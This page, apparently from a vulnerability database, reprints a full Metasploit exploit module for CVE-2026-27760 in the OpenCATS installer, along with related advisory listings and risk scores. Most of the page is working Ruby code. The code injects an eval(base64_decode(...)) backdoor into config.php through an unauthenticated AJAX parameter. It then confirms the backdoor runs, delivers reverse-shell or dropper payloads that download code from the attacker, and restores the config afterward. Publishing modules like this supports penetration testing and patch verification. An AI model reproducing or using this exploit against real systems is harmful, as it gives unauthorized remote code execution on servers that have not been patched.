Lucene search
+L

OpenCATS Installer PHP Code Injection

🗓️ 28 Apr 2026 00:00:00Reported by Chocapikk, stlthr4k3rType 
metasploit
 metasploit
🔗 www.rapid7.com👁 5 Views

Unauthenticated PHP code injection in OpenCATS installer allows eval() backdoor injection in config.php.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-27760
28 Apr 202613:43
attackerkb
circl
Circl
CVE-2026-27760
28 Apr 202616:34
circl
cnnvd
CNNVD
OpenCats 代码注入漏洞
28 Apr 202600:00
cnnvd
cve
CVE
CVE-2026-27760
28 Apr 202613:43
cve
cvelist
Cvelist
CVE-2026-27760 OpenCATS PHP Code Injection via installer AJAX endpoint
28 Apr 202613:43
cvelist
euvd
EUVD
EUVD-2026-26052
28 Apr 202613:43
euvd
nuclei
Nuclei
OpenCATS - Command Injection
16 Aug 202602:26
nuclei
nvd
NVD
CVE-2026-27760
28 Apr 202615:16
nvd
packetstorm
Packet Storm
📄 OpenCATS Installer PHP Code Injection
5 Aug 202600:00
packetstorm
ptsecurity
Positive Technologies
PT-2026-35727
28 Apr 202600:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenCATS Installer PHP Code Injection',
        'Description' => %q{
          This module exploits an unauthenticated PHP code injection in the OpenCATS
          installer AJAX endpoint (CVE-2026-27760).

          The databaseConnectivity action passes the user POST parameter directly to
          changeConfigSetting(), which interpolates it into a define() statement in
          config.php without any sanitization. This only works when the installation
          wizard was never completed, meaning the INSTALL_BLOCK file is absent.

          The exploit injects an eval() backdoor into config.php, probes until the
          injected code is live (handles OPcache revalidation transparently), triggers
          the payload via index.php, and then restores config.php.
        },
        'Author' => [
          'Chocapikk', # Vulnerability discovery
          'stlthr4k3r' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-27760'],
          ['URL', 'https://chocapikk.com/posts/2026/opencats-installer-rce/'],
          ['URL', 'https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6']
        ],
        'Targets' => [
          [
            'PHP In-Memory', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :cmd
              # tested with cmd/unix/reverse_bash
            }
          ],
          [
            'Windows Command', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :cmd
              # tested with cmd/windows/reverse_powershell
            }
          ],
          [
            'Linux Dropper', {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
              'CmdStagerFlavor' => %w[printf bourne],
              'Type' => :dropper
              # tested with linux/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Dropper', {
              'Platform' => 'win',
              'Arch' => [ARCH_X64, ARCH_X86],
              'CmdStagerFlavor' => %w[psh_invokewebrequest certutil],
              'Type' => :dropper
              # tested with windows/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2026-04-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to OpenCATS', '/']),
      OptString.new('DB_USER', [true, 'DATABASE_USER value to restore in config.php after exploitation', 'cats'])
    ])
  end

  def check
    res = installer_request
    return CheckCode::Unknown('No response from target.') unless res
    return CheckCode::Safe('Installer is locked (INSTALL_BLOCK present).') if res.body.include?('installLocked')
    if res.body.include?('setActiveStep')
      return CheckCode::Appears('Installer AJAX endpoint is accessible and unprotected.')
    end

    CheckCode::Unknown('Unexpected response from installer endpoint.')
  end

  def exploit
    @param = Rex::Text.rand_text_alpha_lower(8)

    inject_payload(@param)
    trigger_payload(@param)
  ensure
    restore_config
  end

  def execute_command(cmd, _opts = {})
    trigger_php(php_exec_cmd(cmd), @param)
  end

  def installer_request(user: nil)
    opts = {
      'method' => user ? 'POST' : 'GET',
      'uri' => normalize_uri(target_uri.path, 'ajax.php'),
      'vars_get' => { 'f' => 'install:ui', 'a' => 'databaseConnectivity' }
    }
    opts['vars_post'] = { 'user' => user } if user
    send_request_cgi(opts)
  end

  def inject_payload(param)
    fake_user = Faker::Internet.username(specifier: 5..8)
    injection = "#{fake_user}');if(function_exists('opcache_reset')){opcache_reset();}eval(base64_decode(\$_POST['#{param}']));//"
    res = installer_request(user: injection)
    fail_with(Failure::UnexpectedReply, 'No response to injection request.') unless res

    print_good('PHP eval backdoor injected into config.php')
    wait_for_injection(param)
  end

  def wait_for_injection(param)
    nonce = Rex::Text.rand_text_alpha_lower(12)
    probe = Rex::Text.encode_base64("die('#{nonce}');")

    10.times do
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vars_post' => { param => probe }
      )
      return if res&.body&.start_with?(nonce)

      sleep(1)
    end

    fail_with(Failure::UnexpectedReply, 'Injected code did not execute after 10 seconds.')
  end

  def trigger_payload(param)
    case target['Type']
    when :php
      trigger_php(payload.encoded, param)
    when :cmd
      trigger_php(php_exec_cmd(payload.encoded), param)
    when :dropper
      execute_cmdstager
    end
  end

  def trigger_php(code, param)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_post' => { param => Rex::Text.encode_base64(code) }
    )
  end

  def restore_config
    user = datastore['DB_USER']
    print_status("Restoring config.php with user '#{user}'...")
    installer_request(user: user)
    print_good('config.php restored.')
  rescue StandardError
    print_warning('Could not restore config.php - manual cleanup may be required.')
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Apr 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.18.1
CVSS 49.2
EPSS0.34629
SSVC
5